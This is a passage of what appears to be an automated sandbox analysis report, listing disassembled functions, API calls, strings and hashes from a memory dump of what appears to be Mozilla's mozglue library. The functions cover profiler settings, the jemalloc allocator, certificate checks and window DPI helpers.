getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C7A57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C7A57CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7A54B9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C7A5C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C7A5D1C
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C7A5724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C7A56E3
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7A54A3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C7A5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C7A584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C7A5CF9
GeckoMain, xrefs: 6C7A5554, 6C7A55D5
MOZ_BASE_PROFILER_HELP, xrefs: 6C7A5511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C7A57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C7A5B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7A548D
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C7A5D24
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C7A5749
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C7A5766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C7A5AC9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C7A5D01
MOZ_PROFILER_STARTUP, xrefs: 6C7A55E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C7A57AE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C7A5717
[I %d/%d] profiler_init, xrefs: 6C7A564E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C7A5D2B
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C7A5791

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 6ca084465d6c46633a3f333b96160b72ecb21b903a98d120fa7f4cd3254a0380
Instruction ID: 42c9d8ebcf70520f2ded38b31660a13a41b0d94973314543fb796400f55ca7e6
Opcode Fuzzy Hash: 6ca084465d6c46633a3f333b96160b72ecb21b903a98d120fa7f4cd3254a0380
Instruction Fuzzy Hash: E72228B1A04B029FD7509FB4A65976A77F4AF5630CF040A39F84697F41EB30984ACB93

Function 6C7DB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7DB845
AcquireSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000), ref: 6C7DB852
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DB884
InitializeConditionVariable.KERNEL32(?), ref: 6C7DB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C7DB9FD
GetCurrentThreadId.KERNEL32 ref: 6C7DBA05
AcquireSRWLockExclusive.KERNEL32(6C81F4B8,?,?,00000000), ref: 6C7DBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C7DBA27
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DBA4B
free.MOZGLUE(?), ref: 6C7DC9C7
free.MOZGLUE(?), ref: 6C7DC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C7DC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C7DC7DA

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 13a34069186f87584ab236c7e84ab22e0bc9fa3c10f01e0de7c57602cede85e2
Instruction ID: e33e3e94099b504228cf2f1c429533981a41f1af2a434a6a01c3fb71d19e40f0
Opcode Fuzzy Hash: 13a34069186f87584ab236c7e84ab22e0bc9fa3c10f01e0de7c57602cede85e2
Instruction Fuzzy Hash: 72A2AE71A083818FC735CF28C59479BB7E5BFC9318F054A2DE89997750DB70A949CB82

Function 6C7A6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7A6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7A6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C7A6D26

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C7A6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7A6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C7A6D73
free.MOZGLUE(00000000), ref: 6C7A6D80
CertGetNameStringW.CRYPT32 ref: 6C7A6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C7A6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7A6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C7A6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C7A6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C7A6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C7A6E34
CreateFileW.KERNEL32 ref: 6C7A6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C7A6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7A6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C7A709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7A7103
free.MOZGLUE(00000000), ref: 6C7A7153
CloseHandle.KERNEL32(?), ref: 6C7A7176
__Init_thread_footer.LIBCMT ref: 6C7A7209
__Init_thread_footer.LIBCMT ref: 6C7A723A
__Init_thread_footer.LIBCMT ref: 6C7A726B
__Init_thread_footer.LIBCMT ref: 6C7A729C
__Init_thread_footer.LIBCMT ref: 6C7A72DC
__Init_thread_footer.LIBCMT ref: 6C7A730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C7A73C2
VerSetConditionMask.NTDLL ref: 6C7A73F3
VerSetConditionMask.NTDLL ref: 6C7A73FF
VerSetConditionMask.NTDLL ref: 6C7A7406
VerSetConditionMask.NTDLL ref: 6C7A740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C7A741A
moz_xmalloc.MOZGLUE(?), ref: 6C7A755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7A7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C7A7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7A7598
free.MOZGLUE(00000000), ref: 6C7A75AC

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

Strings

(, xrefs: 6C7A768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C7A72C8
wintrust.dll, xrefs: 6C7A72CD
SHA256, xrefs: 6C7A6EC0

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6a89dff0e1f6f4733007d759e4adb9f1bdd0fee28c8c1d5ad38577399a872d17
Instruction ID: 083584f36766e535edbd20774edfaac258afafcafed6b75fc77ddec9f409dcd8
Opcode Fuzzy Hash: 6a89dff0e1f6f4733007d759e4adb9f1bdd0fee28c8c1d5ad38577399a872d17
Instruction Fuzzy Hash: CA52E7B1A002159FEB21DF64CD89BAA77F8FF55708F1045A9E50897A40DB30AF85CF91

Function 6C7C6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E7DC), ref: 6C7C7019
LeaveCriticalSection.KERNEL32(6C81E7DC), ref: 6C7C7061
EnterCriticalSection.KERNEL32(?), ref: 6C7C71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C7C721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C7C723E
EnterCriticalSection.KERNEL32(?), ref: 6C7C726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C7C72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C7C733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C7C73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C7C961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7C9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7C9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7C964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7C96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7C96DB
AcquireSRWLockExclusive.KERNEL32(6C81E804), ref: 6C7C9747
GetSystemInfo.KERNEL32(?), ref: 6C7C9792
__Init_thread_footer.LIBCMT ref: 6C7C97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C81E810,00000040), ref: 6C7C97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E7B8,00001388), ref: 6C7C9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E744,00001388), ref: 6C7C984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E784,00001388), ref: 6C7C9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C81E7DC,00001388), ref: 6C7C9895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C7C99D2
MOZ_CRASH(), xrefs: 6C7C9B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C7C99A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C7C9993
<jemalloc>, xrefs: 6C7C9B33, 6C7C9BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6C7C9BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C7C99BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7C9933, 6C7C9A33, 6C7C9A4E
MALLOC_OPTIONS, xrefs: 6C7C97CA
Compile-time page size does not divide the runtime one., xrefs: 6C7C9B38

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: d1093fa3ead85e92794731258e3286c7e603f29a19e3c70b8ea1cc8ec0785828
Instruction ID: eced8115ef5b64294e0c8549e1b246c83de985624eaf22dd940ba0f008936f97
Opcode Fuzzy Hash: d1093fa3ead85e92794731258e3286c7e603f29a19e3c70b8ea1cc8ec0785828
Instruction Fuzzy Hash: 72538071B057028FD714CF28C681615FBE1BF89328F29C66DE8699BB91D771E841CB82

Function 6C7D0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7D0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C7D0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C7D0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C7D0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C7D1031
LeaveCriticalSection.KERNEL32(?), ref: 6C7D10D0
EnterCriticalSection.KERNEL32(?), ref: 6C7D117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C7D1C39
EnterCriticalSection.KERNEL32(6C81E744), ref: 6C7D3391
LeaveCriticalSection.KERNEL32(6C81E744), ref: 6C7D33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C7D3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7D3437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C7D37D2
MOZ_CRASH(), xrefs: 6C7D3950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C7D37A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C7D3793
<jemalloc>, xrefs: 6C7D3941, 6C7D39F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C7D3A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C7D37BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7D3559, 6C7D382D, 6C7D3848
MALLOC_OPTIONS, xrefs: 6C7D35FE
Compile-time page size does not divide the runtime one., xrefs: 6C7D3946

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: f9782aff262e9debd029f31b1a0aeae50374f1e5f4d7583c2a0860550cadb295
Instruction ID: 8febe6d3c73af0313acebaff8b45b1eef91877f7a8f2ce13690d27692fc219cf
Opcode Fuzzy Hash: f9782aff262e9debd029f31b1a0aeae50374f1e5f4d7583c2a0860550cadb295
Instruction Fuzzy Hash: A7537D71A057028FD314CF29C644615FBF1BF89328F2AC66DE8699BB91D771E842CB81

Function 6C7F55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C7CE1A5), ref: 6C7F5606
LoadLibraryW.KERNEL32(gdi32,?,6C7CE1A5), ref: 6C7F560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C7F5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C7F563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C7F566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C7F567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C7F5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C7F56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C7F56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C7F56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C7F56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C7F5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C7F572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C7F5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C7F5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C7F577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C7F5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C7F57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C7F57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C7F57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C7F57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C7F57FF

Strings

GetMonitorInfoW, xrefs: 6C7F57A2
ReleaseDC, xrefs: 6C7F5742
LoadCursorW, xrefs: 6C7F5774
LoadIconW, xrefs: 6C7F575B
SetWindowPos, xrefs: 6C7F56F7
GetDpiForWindow, xrefs: 6C7F5690
GetWindowDC, xrefs: 6C7F5710
gdi32, xrefs: 6C7F560A
GetThreadDpiAwarenessContext, xrefs: 6C7F562D
AreDpiAwarenessContextsEqual, xrefs: 6C7F5637
ShowWindow, xrefs: 6C7F56DE
DeleteObject, xrefs: 6C7F57F9
EnableNonClientDpiScaling, xrefs: 6C7F5666
RegisterClassW, xrefs: 6C7F56AC
MonitorFromWindow, xrefs: 6C7F578D
GetSystemMetricsForDpi, xrefs: 6C7F5677
StretchDIBits, xrefs: 6C7F57CC
user32, xrefs: 6C7F5601
SetWindowLongPtrW, xrefs: 6C7F57B7
CreateWindowExW, xrefs: 6C7F56C5
CreateSolidBrush, xrefs: 6C7F57E4
FillRect, xrefs: 6C7F5729

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 3ee0154ed0f9820dc128abc09d8b4bd1ef2a4cb313d60efa88dba742b754a4a6
Instruction ID: 303eaa62778184ebb935e75930cca075c59c7b09db6d8e7ff4f2ec60d818faaf
Opcode Fuzzy Hash: 3ee0154ed0f9820dc128abc09d8b4bd1ef2a4cb313d60efa88dba742b754a4a6
Instruction Fuzzy Hash: 0A5164B07117075BDB209F36AF4597A3AF9AB1675DB108835A821E3F42EB74D801CFA0

Function 6C7F34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F3EE2

Part of subcall function 6C7F6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C7F61DD
Part of subcall function 6C7F6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C7F622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F4157

Part of subcall function 6C7F6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C7F6250
Part of subcall function 6C7F6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7F6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C7F484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C7F4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C7F4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C7F4896
free.MOZGLUE ref: 6C7F489F

Strings

, xrefs: 6C7F4CD2

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 9ef630e69bbd00df16546d3f6b2ba727197130f936c4d064fe43967afcdcc853
Instruction ID: 7ee9e9cf77f0a7e97992bb36cdc9431fb4b891f356e556c1ead075fab958edc3
Opcode Fuzzy Hash: 9ef630e69bbd00df16546d3f6b2ba727197130f936c4d064fe43967afcdcc853
Instruction Fuzzy Hash: 91F23C749087808FC735CF28C18469AFBF1FF89358F118A6ED99997711DB319896CB82

Function 6C7DF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7DF09B

